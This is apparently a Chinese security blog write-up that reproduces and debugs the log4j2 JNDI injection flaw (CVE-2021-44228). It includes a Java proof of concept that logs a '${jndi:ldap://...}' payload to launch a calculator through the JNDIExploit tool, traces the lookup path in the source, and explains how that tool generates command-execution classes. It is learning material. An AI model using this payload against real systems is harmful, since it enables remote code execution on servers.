log4j2 JNDI注入漏洞(CVE-2021-44228)

概述

本文非常详细的从头到尾debug了CVE-2021-44228漏洞的利用过程,喜欢的师傅记得点个推荐~

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。

由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。(CNVD-2021-95914、CVE-2021-44228)

影响版本:Apache Log4j 2.x <= 2.15.0-rc1

2.15.0-rc1 存在补丁绕过,但是很鸡肋

漏洞复现

Log4j2的这个漏洞本质上是JNDI注入 + LDAP的漏洞,而LDAP的利用方式在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径给禁了。

因为是JNDI攻击(JNDI客户端请求服务端的漏洞攻击),所以先准备一个JNDI环境,github上有师傅写了一些很好用的JNDI服务,很好用,我这里就不自己写了。我这里用的是:

https://github.com/zzwlpx/JNDIExploit

我看了一下这个师傅写的代码,其实就是welk1n/JNDI-Injection-Exploit这个师傅写的JNDI注入检测工具的封装,支持解析ldap中的参数,通过参数生成对应的payload代码。

把代码clone下来,然后在本地直接使用IDEA运行即可,如果IDEA没法识别到对应的运行程序,则点击运行即可。

点击运行之后先放到一边,然后我们准备log4j的漏洞触发

这里不考虑绕过,只分析漏洞本身,所以我们只需要挑一个未修复的JDK版本即可,我这里随便找了一个本地的JDK 8u131,然后加入以下log4j依赖

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

然后写入以下代码:

package log4j2_labs;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger; public class CVE_2021_44228 {
private static final Logger logger = LogManager.getLogger(CVE_2021_44228.class);
public static void main(String[] args) {
// Y21kIC9jIGNhbGM= 这里是cmd /c calc这个命令的Base64编码之后的写法,也就是漏洞触发之后要执行的命令
logger.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/Y21kIC9jIGNhbGM=}");
}
}

然后运行这份代码,看一下结果,计算器被成功弹出,代码执行成功。

漏洞调试

log4j2触发JNDI分析

从网上的师傅那里学到一招调试的技巧,就是如果我知道这份恶意代码一定会执行到某一个函数的话。就把断点断在对应的函数上,最后去反向分析调用的过程即可,比如我就在Runtime.getRuntime.exec()这个方法处下一个断点,然后通过IDEA的堆栈往上就能找对应的调用逻辑。

然后我们开始分析代码是怎么执行的,同时可能的话最好能分析一下JNDIExploit这个项目做了什么东西。

然后先看函数被最开始调用的地方,这一块是什么意思呢,就是logIfEnabled这个方法中调用了两个函数,分别是isEnabled和logMessage,其实按照名字也大概能理解,就是如果这个日志是启动的(isEnabled),那么就调用logMessage来记录日志,否则的话啥也不干就直接退出了。

我们来看一下isEnabled方法究竟干了什么事儿,isEnabled有好几个实现,但按照我们这里的逻辑其实最终会调用到Logger中的isEnable然后继续往下追踪,会发现其实调用的是一个filter方法,然后我们分析一下这个函数的逻辑。

前边的大概意思就是说,从配置中获取一个过滤器,然后中间的逻辑都是在判断是否要过滤。

如果过滤器为空则会走下边的逻辑。

  • 如果level != null,则会返回false(默认我们调用logger.error、logger.info等方法时,都会对应一个枚举值,比如logger.error方法对应的就是Level.ERROR,logger.,其中枚举值还有一个int值,这个值是由StandardLevel这个枚举值定义的,StandardLevel和Level是绑定关系)
  • 如果intLevel > level.intLevel,level.intLevel是 我们传过来的那个值,而intLevel这个值是提前定义好的,所以这个判断意思就是 我们当前的日志级别的值是否比intLevel更低,在log4j2中,日志等级(StandardLevel中的int值)越低则日志优先级越高,intLevel值默认是200,也就是ERROR级别

总结一下这块的逻辑:log4j2中有FATAL、ERROR、WARN、INFO这些日志级别,默认只会记录(处理)小于等于200级别的日志,也就是ERROR和FATAL级别的日志。

然后回到logIfEnabled这个方法中,进入到logMessage函数中,然后一路跟下去,中间的函数都没什么好说的都是一些嵌套的方法调用对参数进行处理,在LoggerConfig.log方法中会把很多字段封装成一个LogEvent对象,这个对象在后边有用到,我们继续往下跟。

这块的format是一个非常重要的方法,在这段代码中,有一个判断来判断event中是否有${这一个组合字符,如果有的话尝试把${标识的一串字符串拿到,然后调用StrSubstitutor.replace这个方法

然后调用到了StrSubstitutor.substitute方法。这个方法其实挺复杂的,是一个递归解析变量的方法,然后解析每一个变量,虽然逻辑复杂但是对于咱们做安全学习来说,看懂大概逻辑即可。

log4j2的这个方法的注释是这样的:

Recursive handler for multiple levels of interpolation. This is the main interpolation method, which resolves the values of all variable references contained in the passed in text.

用于多级插值的递归处理程序。这是主要的插值方法,它解析传入文本中包含的所有变量引用的值。

Params:

event – The current LogEvent, if there is one. buf – the string builder to substitute into, not null offset – the start offset within the builder, must be valid length – the length within the builder to be processed, must be valid priorVariables – the stack keeping track of the replaced variables, may be null

参数:event–当前LogEvent(如果有的话)。buf–要替换的字符串生成器,而不是空偏移量–生成器中的起始偏移量必须是有效长度–要处理的生成器中的长度必须是有效的priorVariables–跟踪被替换变量的堆栈,可以是空的

Returns:

the length change that occurs, unless priorVariables is null when the int represents a boolean flag as to whether any change occurred.

返回:发生的长度变化,除非当int表示是否发生任何变化的布尔标志时priorVariables为null。

简单理解说就是比如说,buf中包含了嵌套的变量时,会递归拆分这些变量。然后调用resolveVariable来解析变量。

然后会获取所有的变量解析器,然后尝试使用解析器来处理这个变量,这个地方就非常关键了,其实可以看到这里是支持多种解析方式的,比如env、sys、ctx等等,还有我们最重要的漏洞点jndi,接着往下跟马上就到最终的处理逻辑了。

因为我们这里输入的是一个jndi:xxxx,所以这里的Strlookup自然而然也是一个JndiLookup处理器

这里边调用了JndiManager的lookup方法,这个jndiManager其实就是log4j2对JNDI的一层封装而已,

这里的Context其实就是JNDI中的上下文对象。可以发现这里就是最终的触发点了,请求了

ldap://127.0.0.1:1389/Basic/Command/Base64/Y21kIC9jIGNhbGM=

当你学过JNDI + LDAP的注入攻击方式应该就很清除了,当前log4j2本质上就是一个LDAP的客户端,然后去外部请求LDAP的服务端。

然后放开断点,此时计算器就被弹出了。

JNDIExploit分析

这个项目其实就是封装了一下JNDI-Injection-Exploit的服务端,让其用起来更加方便,这里简单分析一下,主要是我也想看一下它写的逻辑,hhhhhhh

JNDIServer分析

我们先静态分析一下

在applyCmdArgs方法中,解析了所有的配置项,然后把配置存入到Config这个类中,这个类中的所有字段都是public static的,可以理解是全局访问的变量,而且全局只有一份。

然后看一下LdapServer中的内容,大概意思就是起一个Ldap服务,监听所有IP请求(0.0.0.0),因为我们没有配置ldap端口所以使用默认ldap端口,在配置完成后启动LDAP服务监听。

然后我们知道要连接的肯定是Ldap服务器,所以我们看一下LdapServer这个里边是怎么写的,也就是new LdapServer这个构造方法中干了什么事儿。

这个其实就是获取到所有用了LdapMapping注解的类,然后通过routes将所有的路径都存储起来,而LdapServer重写了processSearchResult函数,逻辑如下:

从routes中拿到第一段URL,通过URL匹配到对应的controller,然后调用这个controller的process方法和sendResult方法。

这里以BasicController为例,process其实就是对请求参数做处理的方法,sendResult就是回应Ldap客户端请求的方法,这里有可能会根据请求的不同来选择是否要转到HttpServer上。

HTTPServer分析

HttpServer.start方法中会开启一个HTTP服务器,然后创建一个监听 "/"的路由。可以看到在这个Handler中,他处理了所有以class、wsdl、jar、xxelog为结尾的请求,否则就会访问404状态码

然后我们这里其实是用到了.class,所以看一下handleClassRequest里边是个啥。

其实就是把Cache中存放的二进制字节拿出来,然后发送出去,没了......

Cache是什么时候放进去的呢,在BasicController中是这么写的,如果对应的type是command,那么就生成一个命令执行的代码执行模板,然后将其放入到缓存中,我们看一代码执行模板是怎么被创建出来的。

就是这么一个逻辑,根据要执行的cmd命令生成一个随机类名,然后使用ASM来直接生成一份包含了Runtime.getRuntime().exec()这个方法,exec方法的参数就是cmd中的内容。

OK,对我们学习该漏洞帮助的JNDIExploit这个项目差不多就这么多了。可能这个老哥考虑的东西比较多(可能是想写的更加灵活一点),所以加了个HttpServer来完成其他方式的攻击吧,其实这里不使用HttpServer也行直接把ASM的代码移植到Ldap那里是一样的效果。

其实就是JNDI的普通注入,可以参考大佬写的这篇分析JNDI的博客:https://www.mi1k7ea.com/2019/09/15/浅析JNDI注入/

补充

看起来log4j2的这个库只会导致log.error和log.fatal这两个方法会导致漏洞的触发,但其实不是的,我们还记得isEnabled方法吗,其中那个判断是这么写的:

 public boolean isEnabled(final Level level, final Marker marker, final String message, final Throwable t) {
return privateConfig.filter(level, marker, message, t);
}
boolean filter(final Level level, final Marker marker, final String msg, final Throwable t) {
final Filter filter = config.getFilter();
if (filter != null) {
final Filter.Result r = filter.filter(logger, level, marker, (Object) msg, t);
if (r != Filter.Result.NEUTRAL) {
return r == Filter.Result.ACCEPT;
}
}
// 重点就是这个intLevel,其实这个外部是能配置的,比如开发者希望记录INFO以上级别的日志,那么这个时候intLevel就是INFO级别的值
return level != null && intLevel >= level.intLevel();
}

配置level有多种方法,比如在resource/中新增log4j2.xml文件:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<!-- 为日志打印配置一个输出的前缀 -->
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} [%t] %-5p %c{1} - %m%n"/>
</Console>
</Appenders> <Loggers>
<Root level="info"> <!-- 设置根级别为 debug -->
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>

还有一种方法是通过代码API直接配置

import org.apache.logging.log4j.core.config.Configurator;
import org.apache.logging.log4j.Level;
.......
public class CVE_2021_44228 {
private static final Logger logger = LogManager.getLogger(CVE_2021_44228.class);
public static void main(String[] args) {
Configurator.setLevel("CVE_2021_44228", Level.INFO);
logger.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/Y21kIC9jIGNhbGM=}");
}
}

如果我们是以攻击者的视角,其实是无法干涉这些配置的,所以能否触发该漏洞,要看开发使用的配置。

回到我们前边说的那段描述这个漏洞的话:此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。

这一篇内容感觉已经写的很长了,所以这里就结束了,后边可能再更新一篇jndi关键词 绕过的相关内容吧。

log4j2 变量注入漏洞(CVE-2021-44228)的更多相关文章

  1. phpMyAdmin <= 4.0.4.1 import.php GLOBALS变量注入漏洞

    漏洞版本: phpMyAdmin <= 4.0.4.1 漏洞描述: CVE(CAN) ID: CVE-2013-4729 phpmyadmin是MySQL数据库的在线管理工具,主要功能包括在线创 ...

  2. [转]SQL注入漏洞及绑定变量浅谈

    1.一个问题引发的思考 大家在群里讨论了一个问题,奉文帅之命写篇作文,且看: String user_web = "user_web" String sql = "upd ...

  3. dedecms SESSION变量覆盖导致SQL注入漏洞修补方案

    dedecms的/plus/advancedsearch.php中,直接从$_SESSION[$sqlhash]获取值作为$query带入SQL查询,这个漏洞的利用前提是session.auto_st ...

  4. 一文详解SpEL表达式注入漏洞

    摘要:本文介绍了SpEL表达式以及常见的SpEL注入攻击,详细地介绍了部分漏洞攻击实例以及常用的漏洞检测与防御手段. 本文分享自华为云社区<SpEL表达式注入漏洞分析.检查与防御>,作者: ...

  5. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  6. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  7. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  8. SQL Injection(SQL注入漏洞)

    审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...

  9. ECSHOP v2.7.3注入漏洞分析和修复

    测试版本 漏洞条件 漏洞利用 产生原因 修复方案 1.测试版本 v2.7.3 RELEASE 20121106(最新) v2.7.3 RELEASE 20120411 2.漏洞条件 需登录到后台 3. ...

  10. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

随机推荐

  1. 支付宝携手HarmonyOS SDK打造高效便捷的扫码支付体验

    背景 在日常的购物转账.生活缴费等在线支付中,用户在正式拉起支付界面前,均需要至少经历一次"识别"+两次"寻找",即识别归属应用.寻找应用.寻找扫码入口,才能完 ...

  2. 游览器 reflow

    refer: https://juejin.im/post/5a9372895188257a6b06132e reflow 伤性能. 所以要闪. 有几个频密触发的东西要留意. 1. scroll 2. ...

  3. Asp.net core 学习笔记之 Microsoft Graph API

    早年如果我们要读写用户得 outlook 内容是比较麻烦的, 要用许多 smtp 之类的方式. 现在终于是有了 http 级的 API 可以 call 了. 不仅仅是 outlook, calenda ...

  4. 【赵渝强老师】Redis的消息发布与订阅

    Redis 作为一个publish/subscribe server,起到了消息路由的功能.订阅者可以通过subscribe和psubscribe命令向Redis server订阅自己感兴趣的消息类型 ...

  5. Windows11忘记开机密码重置

    在锁屏页面按着shift键重启,找到命令行输入一下两行代码 copy c:\windows\system\system32\utilman.exe c:\windows\system32\utilma ...

  6. CE-植物大战僵尸杂交版

    植物大战僵尸杂交版 偏移:208+82c

  7. 怎么封装axios

    首先,单独创建一个request的js文件,导入axios 然后,创建 axios 实例 request = axios.create 可以写基本地址,超时时间等: 后面可以添加拦截器,可以在请求拦截 ...

  8. M.2移动硬盘打造Win To Go系统:高效分区存储文件全攻略

    前言 大家好,我是 Frpee内网穿透 开发者 xnkyn, 曾经的我一直在互联网上学习技术,这次我要在博客园这片净土上给中国互联网技术做贡献,这是我在博客园写的第一篇技术文章,后续我会分享更多的技术 ...

  9. HN CSP-J 2023 奇人鉴赏

    其中有 4 位同学提到了IOI 一位同学提到了 fk,但是并没有 Fk CCF 共有52个 CCF,其中HN-J00157同学复制了很多遍题目一位同学用了ccf当 struct 名字,并且写出了人名函 ...

  10. 洛谷P1381单词背诵

    单词背诵 题目描述 灵梦有 \(n\) 个单词想要背,但她想通过一篇文章中的一段来记住这些单词. 文章由 \(m\) 个单词构成,她想在文章中找出连续的一段,其中包含最多的她想要背的单词(重复的只算一 ...